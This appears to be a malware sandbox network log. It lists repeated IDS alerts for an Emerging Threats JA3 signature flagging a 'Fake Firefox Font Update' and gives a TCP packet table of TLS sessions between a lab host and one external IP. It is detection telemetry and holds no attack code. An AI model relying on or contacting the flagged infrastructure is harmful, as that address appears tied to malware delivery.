2025-01-14T08:24:25.420192+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49789	166.62.27.188	443	TCP
2025-01-14T08:24:27.071616+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49801	166.62.27.188	443	TCP
2025-01-14T08:24:28.708256+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49813	166.62.27.188	443	TCP
2025-01-14T08:24:30.409492+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49825	166.62.27.188	443	TCP
2025-01-14T08:24:32.054339+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49840	166.62.27.188	443	TCP
2025-01-14T08:24:33.667962+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49853	166.62.27.188	443	TCP
2025-01-14T08:24:35.286449+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49864	166.62.27.188	443	TCP
2025-01-14T08:24:36.904952+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49874	166.62.27.188	443	TCP
2025-01-14T08:24:38.512054+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49885	166.62.27.188	443	TCP
2025-01-14T08:24:40.131971+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49897	166.62.27.188	443	TCP
2025-01-14T08:24:41.800709+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49909	166.62.27.188	443	TCP
2025-01-14T08:24:43.425646+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49921	166.62.27.188	443	TCP
2025-01-14T08:24:45.717793+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49933	166.62.27.188	443	TCP
2025-01-14T08:24:47.342261+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49945	166.62.27.188	443	TCP
2025-01-14T08:24:48.958263+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49957	166.62.27.188	443	TCP
2025-01-14T08:24:50.737446+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49969	166.62.27.188	443	TCP
2025-01-14T08:24:52.373429+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49981	166.62.27.188	443	TCP
2025-01-14T08:24:53.993249+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49994	166.62.27.188	443	TCP
2025-01-14T08:24:55.608255+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50005	166.62.27.188	443	TCP
2025-01-14T08:24:57.227320+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50017	166.62.27.188	443	TCP
2025-01-14T08:24:58.834774+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50022	166.62.27.188	443	TCP
2025-01-14T08:25:00.441925+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50024	166.62.27.188	443	TCP
2025-01-14T08:25:02.075925+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50026	166.62.27.188	443	TCP
2025-01-14T08:25:03.831357+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50028	166.62.27.188	443	TCP
2025-01-14T08:25:05.455631+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50030	166.62.27.188	443	TCP
2025-01-14T08:25:07.090358+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50032	166.62.27.188	443	TCP
2025-01-14T08:25:08.723466+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50034	166.62.27.188	443	TCP
2025-01-14T08:25:10.334892+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50037	166.62.27.188	443	TCP
2025-01-14T08:25:11.963031+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50039	166.62.27.188	443	TCP
2025-01-14T08:25:13.576310+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50041	166.62.27.188	443	TCP
2025-01-14T08:25:15.177296+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50043	166.62.27.188	443	TCP
2025-01-14T08:25:16.764729+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50045	166.62.27.188	443	TCP
2025-01-14T08:25:18.367077+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50047	166.62.27.188	443	TCP
2025-01-14T08:25:19.993113+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50049	166.62.27.188	443	TCP
2025-01-14T08:25:21.590204+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50051	166.62.27.188	443	TCP
2025-01-14T08:25:23.220527+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50053	166.62.27.188	443	TCP
2025-01-14T08:25:24.839729+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50055	166.62.27.188	443	TCP
2025-01-14T08:25:26.432785+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50057	166.62.27.188	443	TCP
2025-01-14T08:25:28.044816+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50059	166.62.27.188	443	TCP
2025-01-14T08:25:29.646269+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50061	166.62.27.188	443	TCP
2025-01-14T08:25:31.265412+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50063	166.62.27.188	443	TCP
2025-01-14T08:25:32.866485+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50065	166.62.27.188	443	TCP
2025-01-14T08:25:34.498486+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50067	166.62.27.188	443	TCP
2025-01-14T08:25:36.129137+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50069	166.62.27.188	443	TCP
2025-01-14T08:25:37.762164+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50071	166.62.27.188	443	TCP
2025-01-14T08:25:39.379253+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50073	166.62.27.188	443	TCP
2025-01-14T08:25:41.101780+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50075	166.62.27.188	443	TCP
2025-01-14T08:25:42.727228+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50077	166.62.27.188	443	TCP
2025-01-14T08:25:44.331133+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50079	166.62.27.188	443	TCP
2025-01-14T08:25:45.925793+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50081	166.62.27.188	443	TCP
2025-01-14T08:25:47.523448+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50083	166.62.27.188	443	TCP
2025-01-14T08:25:49.146879+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50085	166.62.27.188	443	TCP
2025-01-14T08:25:50.761138+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50087	166.62.27.188	443	TCP
2025-01-14T08:25:52.391696+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50089	166.62.27.188	443	TCP
2025-01-14T08:25:53.995868+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50091	166.62.27.188	443	TCP
2025-01-14T08:25:55.595114+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50093	166.62.27.188	443	TCP
2025-01-14T08:25:57.206028+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50095	166.62.27.188	443	TCP
2025-01-14T08:25:58.804789+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50097	166.62.27.188	443	TCP
2025-01-14T08:26:00.427630+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50099	166.62.27.188	443	TCP
2025-01-14T08:26:02.053407+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50101	166.62.27.188	443	TCP
2025-01-14T08:26:03.685391+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50103	166.62.27.188	443	TCP
2025-01-14T08:26:05.321840+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50105	166.62.27.188	443	TCP
2025-01-14T08:26:06.930971+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50107	166.62.27.188	443	TCP
2025-01-14T08:26:08.575370+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50109	166.62.27.188	443	TCP
2025-01-14T08:26:10.299114+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50111	166.62.27.188	443	TCP
2025-01-14T08:26:11.895894+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50113	166.62.27.188	443	TCP
2025-01-14T08:26:13.493604+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50115	166.62.27.188	443	TCP
2025-01-14T08:26:15.115309+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50117	166.62.27.188	443	TCP
2025-01-14T08:26:16.712923+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50119	166.62.27.188	443	TCP
2025-01-14T08:26:18.325954+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50121	166.62.27.188	443	TCP
2025-01-14T08:26:19.976479+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50123	166.62.27.188	443	TCP
2025-01-14T08:26:21.590786+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50125	166.62.27.188	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:24:17.639472961 CET	49735	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:17.639518023 CET	443	49735	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:17.639753103 CET	49735	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:17.646461964 CET	49735	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:17.646522999 CET	443	49735	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:17.646713972 CET	49735	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:17.762463093 CET	49736	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:17.762530088 CET	443	49736	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:17.762603998 CET	49736	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:17.788413048 CET	49736	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:17.788500071 CET	443	49736	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:19.092791080 CET	443	49736	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:19.092947006 CET	49736	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:19.096204996 CET	49736	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:19.096226931 CET	443	49736	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:19.096513033 CET	443	49736	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:19.140013933 CET	49736	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:19.145462990 CET	49736	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:19.187331915 CET	443	49736	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:19.470555067 CET	443	49736	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:19.470834017 CET	443	49736	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:19.470890999 CET	49736	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:19.475918055 CET	49736	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:19.475959063 CET	443	49736	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:19.475986958 CET	49736	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:19.476001024 CET	443	49736	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:19.632689953 CET	49752	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:19.632728100 CET	443	49752	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:19.633097887 CET	49752	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:19.636625051 CET	49752	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:19.636665106 CET	443	49752	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:19.636987925 CET	49752	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:19.639494896 CET	49753	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:19.639527082 CET	443	49753	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:19.639584064 CET	49753	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:19.639870882 CET	49753	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:19.639883995 CET	443	49753	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:20.527137995 CET	443	49753	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:20.527211905 CET	49753	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:20.528521061 CET	49753	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:20.528529882 CET	443	49753	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:20.528759956 CET	443	49753	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:20.529928923 CET	49753	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:20.571367025 CET	443	49753	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:21.105649948 CET	443	49753	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:21.106112957 CET	443	49753	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:21.106204987 CET	49753	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:21.106235981 CET	49753	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:21.106245995 CET	443	49753	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:21.238897085 CET	49764	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:21.238938093 CET	443	49764	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:21.239021063 CET	49764	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:21.239125967 CET	49764	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:21.239306927 CET	443	49764	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:21.239361048 CET	49764	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:21.241597891 CET	49765	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:21.241641998 CET	443	49765	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:21.241806984 CET	49765	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:21.241970062 CET	49765	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:21.241986036 CET	443	49765	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:22.145483971 CET	443	49765	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:22.145586014 CET	49765	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:22.146871090 CET	49765	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:22.146876097 CET	443	49765	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:22.147102118 CET	443	49765	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:22.148361921 CET	49765	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:22.191340923 CET	443	49765	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:22.727174044 CET	443	49765	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:22.727391005 CET	443	49765	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:22.727510929 CET	49765	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:22.730802059 CET	49765	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:22.730834007 CET	443	49765	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:22.730851889 CET	49765	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:22.730860949 CET	443	49765	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:22.873222113 CET	49776	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:22.873266935 CET	443	49776	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:22.873357058 CET	49776	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:22.873464108 CET	49776	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:22.873502970 CET	443	49776	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:22.873555899 CET	49776	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:22.892463923 CET	49777	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:22.892488956 CET	443	49777	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:22.892607927 CET	49777	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:22.892839909 CET	49777	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:22.892846107 CET	443	49777	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:23.795499086 CET	443	49777	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:23.795612097 CET	49777	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:23.796902895 CET	49777	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:23.796909094 CET	443	49777	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:23.797143936 CET	443	49777	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:23.798366070 CET	49777	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:23.839344025 CET	443	49777	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:24.384272099 CET	443	49777	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:24.384547949 CET	443	49777	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:24.384614944 CET	49777	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:24.384661913 CET	49777	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:24.384661913 CET	49777	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:24.384675980 CET	443	49777	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:24.384686947 CET	443	49777	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:24.513958931 CET	49788	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:24.513987064 CET	443	49788	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:24.514067888 CET	49788	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:24.514230013 CET	49788	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:24.514269114 CET	443	49788	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:24.514317989 CET	49788	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:24.517342091 CET	49789	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:24.517389059 CET	443	49789	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:24.517859936 CET	49789	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:24.517859936 CET	49789	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:24.517900944 CET	443	49789	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:25.420129061 CET	443	49789	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:25.420192003 CET	49789	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:25.421821117 CET	49789	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:25.421828985 CET	443	49789	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:25.422030926 CET	443	49789	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:25.431273937 CET	49789	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:25.475339890 CET	443	49789	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:26.011311054 CET	443	49789	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:26.011464119 CET	443	49789	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:26.011559010 CET	49789	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:26.011735916 CET	49789	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:26.011749029 CET	443	49789	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:26.011761904 CET	49789	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:26.011766911 CET	443	49789	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:26.157799959 CET	49800	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:26.157831907 CET	443	49800	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:26.157887936 CET	49800	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:26.158027887 CET	49800	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:26.158076048 CET	443	49800	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:26.158127069 CET	49800	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:26.160779953 CET	49801	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:26.160830021 CET	443	49801	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:26.160887003 CET	49801	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:26.161225080 CET	49801	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:26.161236048 CET	443	49801	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:27.071485043 CET	443	49801	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:27.071615934 CET	49801	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:27.072906971 CET	49801	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:27.072912931 CET	443	49801	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:27.073142052 CET	443	49801	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:27.074460983 CET	49801	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:27.115331888 CET	443	49801	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:27.656152964 CET	443	49801	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:27.656527996 CET	443	49801	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:27.656593084 CET	49801	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:27.656618118 CET	49801	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:27.656630039 CET	443	49801	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:27.656641006 CET	49801	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:27.656649113 CET	443	49801	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:27.788800001 CET	49812	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:27.788821936 CET	443	49812	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:27.789005041 CET	49812	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:27.789027929 CET	49812	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:27.789243937 CET	443	49812	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:27.789294958 CET	49812	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:27.791213989 CET	49813	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:27.791315079 CET	443	49813	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:27.791419983 CET	49813	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:27.791687965 CET	49813	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:27.791733027 CET	443	49813	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:28.708095074 CET	443	49813	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:28.708256006 CET	49813	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:28.709625006 CET	49813	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:28.709635973 CET	443	49813	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:28.709883928 CET	443	49813	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:28.711183071 CET	49813	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:28.751332045 CET	443	49813	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:29.301906109 CET	443	49813	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:29.301980019 CET	443	49813	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:29.302052975 CET	49813	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:29.302256107 CET	49813	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:29.302275896 CET	443	49813	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:29.302305937 CET	49813	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:29.302313089 CET	443	49813	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:29.442209005 CET	49824	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:29.442255974 CET	443	49824	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:29.442370892 CET	49824	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:29.454107046 CET	49824	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:29.454133987 CET	443	49824	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:29.454204082 CET	49824	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:29.485969067 CET	49825	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:29.486008883 CET	443	49825	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:29.486080885 CET	49825	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:29.486583948 CET	49825	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:29.486599922 CET	443	49825	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:30.409239054 CET	443	49825	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:30.409492016 CET	49825	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:30.410671949 CET	49825	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:30.410687923 CET	443	49825	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:30.410944939 CET	443	49825	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:30.416112900 CET	49825	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:30.459355116 CET	443	49825	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:31.004754066 CET	443	49825	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:31.005131006 CET	443	49825	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:31.005220890 CET	49825	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:31.005311966 CET	49825	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:31.005345106 CET	443	49825	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:31.005362034 CET	49825	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:31.005371094 CET	443	49825	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:31.133266926 CET	49839	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:31.133308887 CET	443	49839	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:31.133470058 CET	49839	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:31.140952110 CET	49839	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:31.141002893 CET	443	49839	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:31.141086102 CET	49839	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:31.144321918 CET	49840	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:31.144364119 CET	443	49840	166.62.27.188	192.168.2.7
Jan 14, 2025 08:24:31.144448996 CET	49840	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:31.144742012 CET	49840	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:24:31.144757986 CET	443	49840	166.62.27.188	192.168.2.7
